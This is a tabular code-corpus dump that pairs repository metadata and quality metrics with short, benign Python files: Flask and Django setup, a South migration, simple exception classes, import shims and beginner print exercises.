hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
78ef1fb1a7fe487499d40cf69c8405e21cc00129 | 100 | py | Python | app/errors/__init__.py | streuby/examsys | c7923d03f65aaca62551ff403bf3c66b2b56134e | [
"MIT"
] | null | null | null | app/errors/__init__.py | streuby/examsys | c7923d03f65aaca62551ff403bf3c66b2b56134e | [
"MIT"
] | null | null | null | app/errors/__init__.py | streuby/examsys | c7923d03f65aaca62551ff403bf3c66b2b56134e | [
"MIT"
] | null | null | null | from flask import Blueprint
errors = Blueprint('error', __name__)
from app.errors import handlers
| 16.666667 | 37 | 0.79 | 13 | 100 | 5.769231 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.14 | 100 | 5 | 38 | 20 | 0.872093 | 0 | 0 | 0 | 0 | 0 | 0.05 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0.666667 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 5 |
60aebf96eac4f7fb154f196fbda63c34388f8b91 | 166 | py | Python | src/View/Image.py | anthonyf996/ChessApp | 614f72bc641793681fd5ad7040d6a4c407c9ae9e | [
"MIT"
] | null | null | null | src/View/Image.py | anthonyf996/ChessApp | 614f72bc641793681fd5ad7040d6a4c407c9ae9e | [
"MIT"
] | null | null | null | src/View/Image.py | anthonyf996/ChessApp | 614f72bc641793681fd5ad7040d6a4c407c9ae9e | [
"MIT"
] | null | null | null | class Image:
def __init__(self, name):
self.name = name
def register(self):
raise NotImplementedError
def getImg(self):
raise NotImplementedError
| 16.6 | 29 | 0.704819 | 19 | 166 | 5.947368 | 0.526316 | 0.141593 | 0.495575 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216867 | 166 | 9 | 30 | 18.444444 | 0.869231 | 0 | 0 | 0.285714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.428571 | false | 0 | 0 | 0 | 0.571429 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
60ce7820737d48cb932798af3c31596e34aadcb9 | 214 | py | Python | tracardi/exceptions/exception.py | suhail34/tracardi | d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0 | [
"MIT"
] | null | null | null | tracardi/exceptions/exception.py | suhail34/tracardi | d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0 | [
"MIT"
] | null | null | null | tracardi/exceptions/exception.py | suhail34/tracardi | d47f806f13b5a1b7c9bb02d3ed7572941cb40ca0 | [
"MIT"
] | null | null | null | class TracardiException(Exception):
pass
class StorageException(TracardiException):
pass
class ExpiredException(TracardiException):
pass
class UnauthorizedException(TracardiException):
pass
| 12.588235 | 47 | 0.775701 | 16 | 214 | 10.375 | 0.4375 | 0.162651 | 0.313253 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.168224 | 214 | 16 | 48 | 13.375 | 0.932584 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.5 | 0 | 0 | 0.5 | 0 | 1 | 0 | 1 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
60d6c9c39059e6208345c85cd8904511395d26cd | 134 | py | Python | in_toto/__init__.py | ashishdas009/in-toto | 37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a | [
"Apache-2.0"
] | null | null | null | in_toto/__init__.py | ashishdas009/in-toto | 37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a | [
"Apache-2.0"
] | null | null | null | in_toto/__init__.py | ashishdas009/in-toto | 37a859ce8d856d69fb3399c8c8cbebfc1dd1e97a | [
"Apache-2.0"
] | null | null | null | """
Configure base logger for in_toto (see in_toto.log for details).
"""
import in_toto.log
# in-toto version
__version__ = "0.4.1"
| 14.888889 | 64 | 0.708955 | 23 | 134 | 3.826087 | 0.608696 | 0.272727 | 0.204545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.026549 | 0.156716 | 134 | 8 | 65 | 16.75 | 0.752212 | 0.604478 | 0 | 0 | 0 | 0 | 0.113636 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
60e8d51d4468c913bda04c4895e43342960796d4 | 87 | py | Python | jaxrk/__init__.py | ingmarschuster/JaxRK | 1de11e1fe79c1cf14a111b441d9c7b60c3725bf9 | [
"MIT"
] | null | null | null | jaxrk/__init__.py | ingmarschuster/JaxRK | 1de11e1fe79c1cf14a111b441d9c7b60c3725bf9 | [
"MIT"
] | null | null | null | jaxrk/__init__.py | ingmarschuster/JaxRK | 1de11e1fe79c1cf14a111b441d9c7b60c3725bf9 | [
"MIT"
] | null | null | null | from . import (core, kern, reduce, rkhs, utilities)
from .gp import GP, gp_cv_val_lhood | 43.5 | 51 | 0.758621 | 15 | 87 | 4.2 | 0.733333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 87 | 2 | 52 | 43.5 | 0.84 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
880430b902e282ab14b3d31501ef94799c429ed9 | 128 | py | Python | python_for_absolute_beginners/33_one_parameter_function.py | leonardo-gallegos/Python | 986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2 | [
"MIT"
] | null | null | null | python_for_absolute_beginners/33_one_parameter_function.py | leonardo-gallegos/Python | 986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2 | [
"MIT"
] | null | null | null | python_for_absolute_beginners/33_one_parameter_function.py | leonardo-gallegos/Python | 986ba32eb1c5fd9fb829c08b46c7ef6112a6eba2 | [
"MIT"
] | null | null | null | def name_printer(user_name):
print("Your name is", user_name)
name = input("Please enter your name: ")
name_printer(name)
| 18.285714 | 40 | 0.71875 | 20 | 128 | 4.4 | 0.5 | 0.25 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.15625 | 128 | 6 | 41 | 21.333333 | 0.814815 | 0 | 0 | 0 | 0 | 0 | 0.28125 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0 | 0 | 0.25 | 0.75 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
8807baaf2a6180e3a27a9f4e1237c69e395b67db | 52 | py | Python | pvfit/modeling/double_diode/equation_test.py | markcampanelli/pvfit | e526f3757279a3f8c41295aab94c1575ee9485fc | [
"MIT"
] | 4 | 2019-09-17T15:19:17.000Z | 2021-11-24T03:21:03.000Z | pvfit/modeling/double_diode/equation_test.py | markcampanelli/pvfit-m | 6e2b9e0797b40de8eb587ec50102421cd2071b9e | [
"MIT"
] | 10 | 2019-08-09T15:40:51.000Z | 2019-09-06T06:06:20.000Z | pvfit/modeling/double_diode/equation_test.py | markcampanelli/pvfit | e526f3757279a3f8c41295aab94c1575ee9485fc | [
"MIT"
] | 2 | 2019-10-01T07:40:16.000Z | 2019-10-25T09:27:45.000Z | import pvfit.modeling.double_diode.equation # noqa
| 26 | 51 | 0.826923 | 7 | 52 | 6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.096154 | 52 | 1 | 52 | 52 | 0.893617 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8814dfc53262f1649833705962cb2d717fa1bc1c | 239 | py | Python | ramen/editor/qt/nodegraph/__init__.py | bmwang/ramen | 92d9eefb072d19fb7973a8ea18a1bbad91fcab77 | [
"Apache-2.0"
] | null | null | null | ramen/editor/qt/nodegraph/__init__.py | bmwang/ramen | 92d9eefb072d19fb7973a8ea18a1bbad91fcab77 | [
"Apache-2.0"
] | null | null | null | ramen/editor/qt/nodegraph/__init__.py | bmwang/ramen | 92d9eefb072d19fb7973a8ea18a1bbad91fcab77 | [
"Apache-2.0"
] | null | null | null | from .nodegraph import Nodegraph
from .node import Node, SubgraphNode
from .nodegraphscene import NodegraphScene
from .nodegraphview import NodegraphView
from .parameter import Parameter
from .connection import Connection, MouseConnection
| 34.142857 | 51 | 0.857741 | 26 | 239 | 7.884615 | 0.384615 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108787 | 239 | 6 | 52 | 39.833333 | 0.962441 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
71485630cea5892b0eb49bb4efc7b6b78b27ac60 | 15,847 | py | Python | dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py | globocom/dbaas-nfsaas | c05dad5493454289ce4cd91f96cd44bfcc66b184 | [
"BSD-3-Clause"
] | 2 | 2017-01-19T15:39:13.000Z | 2017-07-17T19:17:16.000Z | dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py | globocom/dbaas-nfsaas | c05dad5493454289ce4cd91f96cd44bfcc66b184 | [
"BSD-3-Clause"
] | 6 | 2017-07-14T13:03:45.000Z | 2022-03-29T21:55:18.000Z | dbaas_nfsaas/migrations/0011_auto__add_group__add_field_hostattr_group.py | globocom/dbaas-nfsaas | c05dad5493454289ce4cd91f96cd44bfcc66b184 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding model 'Group'
db.create_table(u'dbaas_nfsaas_group', (
(u'id', self.gf('django.db.model... | 86.595628 | 227 | 0.580678 | 1,718 | 15,847 | 5.204889 | 0.09546 | 0.10378 | 0.180049 | 0.257213 | 0.826325 | 0.77902 | 0.745135 | 0.676135 | 0.61843 | 0.573921 | 0 | 0.008582 | 0.176437 | 15,847 | 183 | 228 | 86.595628 | 0.676577 | 0.008014 | 0 | 0.261905 | 0 | 0 | 0.592237 | 0.319504 | 0 | 0 | 0 | 0 | 0 | 1 | 0.011905 | false | 0.005952 | 0.02381 | 0 | 0.053571 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
7198342511b02fd558d0368c47155732d0e23856 | 46 | py | Python | {{cookiecutter.project_slug}}/tests/__init__.py | llango/cookiecutter-shapackage | f7f8e2fb05c50c8bafe842f936466eb2bd255783 | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/tests/__init__.py | llango/cookiecutter-shapackage | f7f8e2fb05c50c8bafe842f936466eb2bd255783 | [
"BSD-3-Clause"
] | null | null | null | {{cookiecutter.project_slug}}/tests/__init__.py | llango/cookiecutter-shapackage | f7f8e2fb05c50c8bafe842f936466eb2bd255783 | [
"BSD-3-Clause"
] | null | null | null | """关于 {{ cookiecutter.project_slug }} 测试包。"""
| 23 | 45 | 0.630435 | 5 | 46 | 5.6 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108696 | 46 | 1 | 46 | 46 | 0.682927 | 0.847826 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
71d083e547ec484ebb65aad1e0ba89a9ff0c5e4b | 74 | py | Python | run.py | kragniz/pybot | ea5592461b7029c93067efafd80b16d265c66ea0 | [
"MIT"
] | 1 | 2021-09-09T16:54:04.000Z | 2021-09-09T16:54:04.000Z | run.py | kragniz/pybot | ea5592461b7029c93067efafd80b16d265c66ea0 | [
"MIT"
] | null | null | null | run.py | kragniz/pybot | ea5592461b7029c93067efafd80b16d265c66ea0 | [
"MIT"
] | null | null | null | #! /usr/bin/env python
import sys
import pybot
pybot.run(sys.argv[1:])
| 9.25 | 23 | 0.689189 | 13 | 74 | 3.923077 | 0.769231 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.015873 | 0.148649 | 74 | 7 | 24 | 10.571429 | 0.793651 | 0.283784 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
71d31296705ac95edf4dac4b05083b370f1d0588 | 139 | py | Python | order/admin.py | abdukhashimov/django-rest-gsoft | f205e7c1bbb575920bdd43d3ec46a97f6fade90e | [
"MIT"
] | null | null | null | order/admin.py | abdukhashimov/django-rest-gsoft | f205e7c1bbb575920bdd43d3ec46a97f6fade90e | [
"MIT"
] | 5 | 2021-03-18T23:24:36.000Z | 2021-09-22T18:31:01.000Z | order/admin.py | abdukhashimov/django-rest-gsoft | f205e7c1bbb575920bdd43d3ec46a97f6fade90e | [
"MIT"
] | null | null | null | from django.contrib import admin
from order.models import BaseContact, Order
admin.site.register(BaseContact)
admin.site.register(Order)
| 19.857143 | 43 | 0.827338 | 19 | 139 | 6.052632 | 0.526316 | 0.156522 | 0.295652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.093525 | 139 | 6 | 44 | 23.166667 | 0.912698 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
71d82a62166e3cfc520ddb1425199b7f5a348ab1 | 206 | py | Python | Part 1/Chapter 4/exercise_4.13.py | kg55555/pypractice | 1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef | [
"MIT"
] | null | null | null | Part 1/Chapter 4/exercise_4.13.py | kg55555/pypractice | 1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef | [
"MIT"
] | null | null | null | Part 1/Chapter 4/exercise_4.13.py | kg55555/pypractice | 1867f001b3d2a7174ea00d7b9e2fa22e9f1877ef | [
"MIT"
] | null | null | null | buffet = ('beef', 'chicken', 'fish', 'pork', 'lamb')
for item in buffet:
print(item, end=" ")
print()
buffet = ('wagyu', 'chicken', 'fish', 'squid', 'lamb')
for item in buffet:
print(item, end=" ")
| 25.75 | 54 | 0.57767 | 27 | 206 | 4.407407 | 0.481481 | 0.184874 | 0.184874 | 0.218487 | 0.521008 | 0.521008 | 0.521008 | 0.521008 | 0 | 0 | 0 | 0 | 0.179612 | 206 | 7 | 55 | 29.428571 | 0.704142 | 0 | 0 | 0.571429 | 0 | 0 | 0.242718 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.428571 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
e0f5c6670fec67746c5b6cf9f3b8367cd21bd2f6 | 214 | py | Python | tests/__init__.py | qigj/Hypernets | 534150e682f09df11ac3363e6aa7cd5e4a294c1d | [
"Apache-2.0"
] | 1 | 2020-11-06T07:52:14.000Z | 2020-11-06T07:52:14.000Z | tests/__init__.py | frankbaul/Hypernets | 534150e682f09df11ac3363e6aa7cd5e4a294c1d | [
"Apache-2.0"
] | null | null | null | tests/__init__.py | frankbaul/Hypernets | 534150e682f09df11ac3363e6aa7cd5e4a294c1d | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8 -*-
__author__ = 'yangjian'
"""
"""
import tempfile
import os
test_output_dir = tempfile.mkdtemp()
os.environ['DEEPTABLES_HOME'] = test_output_dir
os.environ['HYPERNETS_HOME'] = test_output_dir | 19.454545 | 47 | 0.733645 | 28 | 214 | 5.178571 | 0.571429 | 0.206897 | 0.268966 | 0.234483 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.005236 | 0.107477 | 214 | 11 | 48 | 19.454545 | 0.753927 | 0.093458 | 0 | 0 | 0 | 0 | 0.2 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
46066ea6d3a2141e9e5ecd3d99d8a32bc2989c2e | 244 | py | Python | src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | 7 | 2021-09-27T11:38:48.000Z | 2022-02-01T06:06:24.000Z | src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | null | null | null | src/airfly/_vendor/airflow/contrib/operators/gcs_download_operator.py | ryanchao2012/airfly | 230ddd88885defc67485fa0c51f66c4a67ae98a9 | [
"MIT"
] | null | null | null | # Auto generated by 'inv collect-airflow'
from airfly._vendor.airflow.providers.google.cloud.transfers.gcs_to_local import (
GCSToLocalFilesystemOperator,
)
class GoogleCloudStorageDownloadOperator(GCSToLocalFilesystemOperator):
pass
| 27.111111 | 82 | 0.827869 | 23 | 244 | 8.652174 | 0.913043 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102459 | 244 | 8 | 83 | 30.5 | 0.908676 | 0.159836 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.2 | 0.2 | 0 | 0.4 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 5 |
1c9f8a460084e330554f93a54d2f5bcad306a0a6 | 431 | py | Python | fbx_____.py | whaison/Python27 | 34f9e581a38540d1649cf51f7fa8eda38615daf1 | [
"bzip2-1.0.6"
] | null | null | null | fbx_____.py | whaison/Python27 | 34f9e581a38540d1649cf51f7fa8eda38615daf1 | [
"bzip2-1.0.6"
] | null | null | null | fbx_____.py | whaison/Python27 | 34f9e581a38540d1649cf51f7fa8eda38615daf1 | [
"bzip2-1.0.6"
] | null | null | null | #from DebugLogger00110 import DebugLogger00100
#import fbxsdk as fbx
#from fbxsdk import *
#import fbx as fbxsdk
#from fbx import *
# -*- coding: utf-8 -*-
#from fbx import *
#import DebugLogger00100
#import DebugLogger00100
#import WriteReadTrans_Z_00310
#import GetKeyCurve00110
#===================class Node=========... | 28.733333 | 55 | 0.62645 | 43 | 431 | 6.116279 | 0.44186 | 0.250951 | 0.319392 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.079897 | 0.099768 | 431 | 15 | 56 | 28.733333 | 0.597938 | 0.888631 | 0 | 0 | 0 | 0 | 0.314286 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
1cda61e441b5b3ee41dde18ea96930be3d84da4f | 166 | py | Python | Aula/Aula011 Cores Terminal.py | HenriqueSOliver/Python_CursoEmVideo | 6a8ab0c0fa3443990fc0bbbd817314065cf4e01b | [
"MIT"
] | 1 | 2021-04-08T19:54:01.000Z | 2021-04-08T19:54:01.000Z | Python (3)/Aula/Aula011 Cores Terminal.py | Gafanhoto742/Python-3 | b0a13ec4cf60185af3ed2508fc69188e36415b80 | [
"MIT"
] | null | null | null | Python (3)/Aula/Aula011 Cores Terminal.py | Gafanhoto742/Python-3 | b0a13ec4cf60185af3ed2508fc69188e36415b80 | [
"MIT"
] | null | null | null |
print ('\033[1;31;47mOlá mundo!\033[m')
print('\033[7;30mOlá Mundo!\033[m')
a = 3
b = 5
print('Os valores são \033[33m{}\033[m e \033[32m{}\033[m !!!'.format(a,b))
| 20.75 | 75 | 0.60241 | 35 | 166 | 2.857143 | 0.571429 | 0.16 | 0.18 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.260274 | 0.120482 | 166 | 7 | 76 | 23.714286 | 0.424658 | 0 | 0 | 0 | 0 | 0.2 | 0.660606 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.6 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 5 |
